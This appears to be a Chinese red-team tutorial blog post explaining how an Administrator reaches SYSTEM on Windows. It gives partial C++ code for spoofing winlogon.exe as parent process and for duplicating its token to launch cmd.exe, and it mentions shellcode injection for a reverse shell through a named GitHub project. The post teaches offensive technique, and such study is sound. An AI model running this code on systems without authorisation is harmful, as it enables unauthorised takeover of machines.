背景
很多刚入门的小白,会比较好奇MSF或者是Mimikatz是如何从Administrator的权限直接提升到System权限。有一种现象就是令牌窃取。通常指的是获取一个高权限进程的访问令牌,然后通过模拟用户 (ImpersonateLoggedOnUser
) 或使用该令牌启动新进程。
这里是站在以后在后渗透内核攻防后的做下铺垫,并不是传统意义上的令牌窃取提权。因为后续在内核漏洞利用中,多次使用了这种权限继承的思想进行提权。
这里要区分一下,这里和常见的大多数土豆提权不同,土豆是用 SeImpersonatePrivilege
,这个权限常见于服务账户,如(IIS, SQLServer等)
方法一-代码流程
1. 启用 SeDebugPrivilege
权限
功能:EnableDebugPrivilege()
函数的目的是启用调试权限 (SeDebugPrivilege
),使程序能够操作其他高权限进程,例如 SYSTEM 权限进程。
代码要点:
- 通过
OpenProcessToken()
获取当前进程的访问令牌。 - 使用
LookupPrivilegeValue()
查找SeDebugPrivilege
的 LUID 值。 - 使用
AdjustTokenPrivileges()
来调整进程的令牌,使得SeDebugPrivilege
启用。
2. 查找 SYSTEM 权限的进程 PID
功能:FindSystemProcessId()
函数查找具有 SYSTEM 权限的进程,例如 winlogon.exe
,并返回其进程 ID (PID)。
代码要点:
- 使用
CreateToolhelp32Snapshot()
获取系统中所有进程的快照。 - 使用
Process32First()
和Process32Next()
遍历进程列表,通过_wcsicmp()
查找目标进程名称。
3. 打开 SYSTEM 权限的进程句柄
功能:通过 OpenProcess()
函数,使用获得的 PID 打开目标进程的句柄,以便后续用作新进程的父进程。
代码要点:
- 使用
OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)
打开目标进程句柄。 - 确保程序以管理员权限运行,否则可能会遇到
ERROR_ACCESS_DENIED
的错误。
4. 初始化 STARTUPINFOEX
结构体
功能:STARTUPINFOEXA
结构体用于存储进程启动的详细信息,包括额外的进程属性列表。
代码要点:
- 使用
ZeroMemory()
初始化结构体。 - 调用
InitializeProcThreadAttributeList()
来获取所需的属性列表内存大小,并分配属性列表。
5. 使用 UpdateProcThreadAttribute
设置父进程属性
功能:将 SYSTEM 权限进程句柄设置为新创建进程的父进程。
代码要点:
-
UpdateProcThreadAttribute()
函数用于更新属性列表,将PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
设置为之前获取的进程句柄。 - 如果失败,建议使用
GetLastError()
进行诊断,以了解失败的具体原因。
6. 创建新的 SYSTEM 权限进程
功能:通过 CreateProcessA()
创建一个新进程(如 cmd.exe
),并继承之前设置的 SYSTEM 权限。
代码要点:
- 使用
EXTENDED_STARTUPINFO_PRESENT
标志,确保STARTUPINFOEXA
结构体中的扩展属性生效。 - 通过传递
"C:\\Windows\\system32\\cmd.exe"
创建一个新的命令行窗口。
关键代码如下(不完整)
HANDLE pHandle = NULL;
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T size = 0;
BOOL ret;
// 前面已经 启动了 SeDebugPrivilege 的权限
// 读者可以自行去查找如何用 {C/C++代码启用 SeDebugPrivilege 权限}
// 打开 SYSTEM 权限的进程(如 winlogon.exe)
pHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
if (!pHandle) {
std::cerr << "Error opening PID " << pid << " (" << GetLastError() << ")\n";
return 3;
}
// 初始化 STARTUPINFOEX 结构
ZeroMemory(&si, sizeof(STARTUPINFOEXA));
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
// 获取所需的内存大小来创建属性列表
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, size);
if (!si.lpAttributeList) {
std::cerr << "Failed to allocate memory for attribute list.\n";
CloseHandle(pHandle);
return 4;
}
// 初始化属性列表
if (!InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size)) {
std::cerr << "Failed to initialize attribute list.\n";
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(pHandle);
return 5;
}
// 设置 PROC_THREAD_ATTRIBUTE_PARENT_PROCESS 属性
if (!UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &pHandle, sizeof(HANDLE), NULL, NULL)) {
std::cerr << "Failed to update attribute list.\n";
DeleteProcThreadAttributeList(si.lpAttributeList);
HeapFree(GetProcessHeap(), 0, si.lpAttributeList);
CloseHandle(pHandle);
return 6;
}
// 接下来直接用 CreateProcess 即可
方法二-代码流程
1. 启动 SeDebugPrivilege
(一般管理员是禁用的,但可以通过权限提升开启)
-
函数名称:
EnableDebugPrivilege()
-
作用:通过调用
OpenProcessToken()
打开当前进程的访问令牌,并使用AdjustTokenPrivileges()
启用SeDebugPrivilege
,从而使得程序可以操作高权限进程,例如 SYSTEM 权限的进程。 -
具体步骤:
- 打开当前进程的令牌,获取对其进行操作的权限。
- 查找
SeDebugPrivilege
的 LUID 值。 - 调整令牌权限,启用
SeDebugPrivilege
。 - 关闭令牌句柄,返回操作结果。
2. 查找 SYSTEM 权限的进程,例如 Winlogon.exe,返回该程序的 PID
-
函数名称:
FindSystemProcessId()
-
作用:通过遍历系统中的所有进程,找到具有 SYSTEM 权限的进程,例如
winlogon.exe
,并返回该进程的进程 ID(PID)。 -
具体步骤:
- 调用
CreateToolhelp32Snapshot()
创建系统中所有进程的快照。 - 使用
Process32First()
和Process32Next()
遍历进程列表,查找进程名称为winlogon.exe
的进程。 - 当找到目标进程时,获取其 PID,并返回该值。
- 调用
3. 用 OpenProcess
打开 SYSTEM 权限的进程句柄
-
函数名称:
LaunchCmdWithSystemPrivileges()
-
作用:使用
OpenProcess()
打开 SYSTEM 权限进程的句柄,以便在后续步骤中获取其访问令牌。 -
具体步骤:
- 通过
FindSystemProcessId()
获取winlogon.exe
进程的 PID。 - 使用
OpenProcess(PROCESS_QUERY_INFORMATION)
访问权限打开该进程,获得其句柄 (hSystemProcess
)。
- 通过
4. 打开 SYSTEM 权限进程的令牌并复制为新令牌
-
函数名称:
LaunchCmdWithSystemPrivileges()
-
作用:通过
OpenProcessToken()
和DuplicateTokenEx()
获取 SYSTEM 权限的访问令牌,并创建一个新令牌以用于新进程。 -
具体步骤:
- 使用
OpenProcessToken()
打开 SYSTEM 权限进程的访问令牌 (hToken
)。 - 使用
DuplicateTokenEx()
复制该令牌,并创建一个新的主令牌 (hDupToken
),该主令牌将被用于启动新进程。
- 使用
5. 使用 CreateProcessWithTokenW
通过 SYSTEM 权限令牌启动新进程
-
函数名称:
LaunchCmdWithSystemPrivileges()
-
作用:使用
CreateProcessWithTokenW()
函数,通过获取的 SYSTEM 权限令牌启动一个新的命令行窗口 (cmd.exe
),使新进程继承 SYSTEM 权限。 -
具体步骤:
- 初始化
STARTUPINFOW
结构体,用于设置新进程的启动信息。 - 使用
CreateProcessWithTokenW()
,通过复制的 SYSTEM 令牌 (hDupToken
) 启动cmd.exe
,并打开一个新的控制台窗口。 - 检查进程是否成功启动,并返回相应结果。
- 初始化
关键代码如下(不完整)
// 假设前面已经获取了 SeDebugPrvilege权限
DWORD systemPid = FindSystemProcessId();
if (systemPid == 0) {
std::cerr << "[-] Failed to find SYSTEM process ID.\n";
return false;
}
HANDLE hSystemProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, systemPid);
if (!hSystemProcess) {
std::cerr << "[-] Failed to open SYSTEM process.\n";
return false;
}
HANDLE hToken;
if (!OpenProcessToken(hSystemProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken)) {
std::cerr << "[-] Failed to open process token.\n";
CloseHandle(hSystemProcess);
return false;
}
// 通过 DuplicateTokenEx 去复制 System的Token
HANDLE hDupToken;
if (!DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hDupToken)) {
std::cerr << "[-] Failed to duplicate token.\n";
CloseHandle(hToken);
CloseHandle(hSystemProcess);
return false;
}
STARTUPINFOW si = { sizeof(si) };
PROCESS_INFORMATION pi;
// 启动 SYSTEM 权限的 cmd
// 通过 CreateProcessWithTokenW
if (!CreateProcessWithTokenW(hDupToken, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL,
CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) {
std::cerr << "[-] Failed to start cmd with SYSTEM privileges.\n";
CloseHandle(hDupToken);
CloseHandle(hToken);
CloseHandle(hSystemProcess);
return false;
}
std::cout << "[+] Successfully started cmd with SYSTEM privileges.\n";
// 清理句柄
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
CloseHandle(hDupToken);
CloseHandle(hToken);
CloseHandle(hSystemProcess);
return true;
两种方法比较
第一种方法。(CreateProcessA
)则依赖于父进程的权限,有可能出现权限不足的情况,特别是在父进程可能不以 SYSTEM 权限运行的情况下。虽然在 winlogon.exe
的情况下通常是 SYSTEM 权限,但这种依赖使其不如第二种方法直接和明确。
第二种方法(CreateProcessWithTokenW
)确保了创建的 cmd.exe
完全以 SYSTEM 权限运行,无论父进程的具体设置如何。这种方法直接控制了权限,适用于需要完全控制的场景
进阶使用展示
在实战中,直接弹一个本地的System CMD 意义不是很大,就需要弹一个反弹的 CMD,作用可能会大一点,但也不是很OPSEC。不过这里作为基础篇,就不太过多延申讲解。
这里是已经点击了UAC,开启了以管理员权限的CMD,然后通过OpenProcess,和 VirtualAlloc 去反弹一个 CMD的shell
这里可以采用这个项目进行回连,这个项目主要思想是直接使用 SeDebugPrivilege,直接把 Shellcode 通过 VirtuallocEx 、WriteProcessMemory、CreateRemoteThread注入到System权限里。
xct/SeDebugAbuse: Get SYSTEM via SeDebugPrivilege
致谢
非常感谢 @指尖浮生 师傅这半年来无私的教导和耐心指导,带我一步一步走进了红队的世界。在这段时间里,师傅不仅传授了宝贵的技术经验,还让我深刻理解了红队的精神与责任。
这一路上从迷茫到逐渐找到方向,从陌生到越来越多地融入这个领域,师傅一直是我身旁最重要的引路人和支持者。我感受到的不仅是技术上的成长,更是对安全攻防的敬畏与对自我挑战的激情。
感恩这段时光,也期待未来继续向师傅学习,精进技艺,去探索更多未知的边界。
-
-
-
-
-
-
-
-
-
-
@指尖浮生太牛了,也带我走进了红队世界